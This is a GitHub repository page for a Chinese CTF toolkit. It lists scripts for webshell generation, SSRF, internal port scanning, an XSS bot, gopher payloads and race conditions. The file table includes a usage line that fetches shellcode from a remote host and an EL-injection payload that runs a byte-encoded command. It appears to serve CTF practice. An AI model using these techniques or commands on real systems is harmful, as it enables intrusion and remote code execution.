Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

History

43 Commits

Repository files navigation

CTF-Scripts

目录结构

.
├── README.md
├── dockers
│ └── docker_php_debug
│ ├── README.md
│ ├── docker-compose.yml
│ ├── logs
│ │ └── nginx
│ │ ├── access.log
│ │ ├── error.log
│ │ ├── info.log
│ │ └── notice.log
│ ├── mysql
│ │ ├── Dockerfile
│ │ ├── db.sql
│ │ └── xyhcms.sql
│ ├── nginx
│ │ ├── Dockerfile
│ │ ├── nginx.conf
│ │ └── templates
│ │ └── default.conf.template
│ ├── php-fpm
│ │ ├── Dockerfile
│ │ ├── mongodb-1.14.1.tgz
│ │ ├── www.conf
│ │ ├── xdebug-3.1.5.tgz
│ │ └── xdebug.ini
│ └── source
│ └── test.php
├── javascript
│ ├── node-ssrf-split.js
│ ├── port-scan.js
│ ├── test.js
│ └── xss-bot.js
├── misc
│ ├── UploadServer.py
│ ├── compress-zlib.py
│ ├── download.sh
│ └── hae
│ ├── Config.yml
│ ├── Rules.yml
│ └── readme.md
├── php
│ ├── calcSig.py
│ ├── ffi-leak.php
│ ├── geneshell.php
│ ├── geneshell2.php
│ └── serialize.php
├── thread
│ ├── contend.py
│ └── contend2.py
└── transform
├── convert2javabytes.py
├── encoding.js
├── gopher.py
├── gopher2mysql
├── gopher2mysql.py
└── gopherConvert.py

文件说明

文件名文件说明
encoding.jsJS8/16进制/Unicode标准格式转换
node-ssrf-split.jsnode<=8.0 http.get拆分请求构造,对于生成的数据进行encodeUR操作即可
port-scan.jsJS探测内网主机端口/内网主机
xss-bot.jsXSS机器人
serialize.php对于private/protected属性,序列化后S类型转换(截取phpgcc部分功能)
geneshell.php生成无字母webshell的字母部分,用法见p神:无字母数字的webshell
geneshell2.php另一种无字母Shell生成函数,无短标签
compress-zlib.phpfile_get_contents生成本地临时文件,使用socket原生套接字改写Http请求&响应包。双线程发送http请求,参考36c3 CTF includer:includer
ffi-leak.phpPHP7.4 FFI extension use to leak data,来源:@cjm00n
calcSig.py根据内容计算phar的签名,生成新的phar文件
gopherConvert.pywireshark网卡数据包转gopher数据形式
gopher.py生成post的gopher数据报文
gopher2mysql.py生成与mysql交互的gopher数据报文
UploadServer.py以当前目录,快速启动一个带有文件上传/下载功能代理服务器. Usage: python2 UploadServer.py 8888
download.sh无curl或wget情况的http下载文件请求,Usage:download.sh http://hpdoger.cn:8888/shellcode.elf > shellcode.elf
contend.pythreading条件竞争模版,用来竞争php sess文件
contend2.py比较优雅的进行条件竞争模版,来自@P神
convert2javabytes.py转字符串为16进制字节码,方便java中的命令执行例如EL表达式:${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
c\perl交互readflag脚本readflag
docker_php_debugdocker远程调试php板子,mysql+nginx+php-fpm+xdebug
misc/hae/Rules.yamlHae高亮规则,参考Hae Repo

About

一些简单的scripts,慢慢push

Resources

Stars

14 stars

Watchers

1 watching

Forks

Releases

Packages

Used by

Contributors

Languages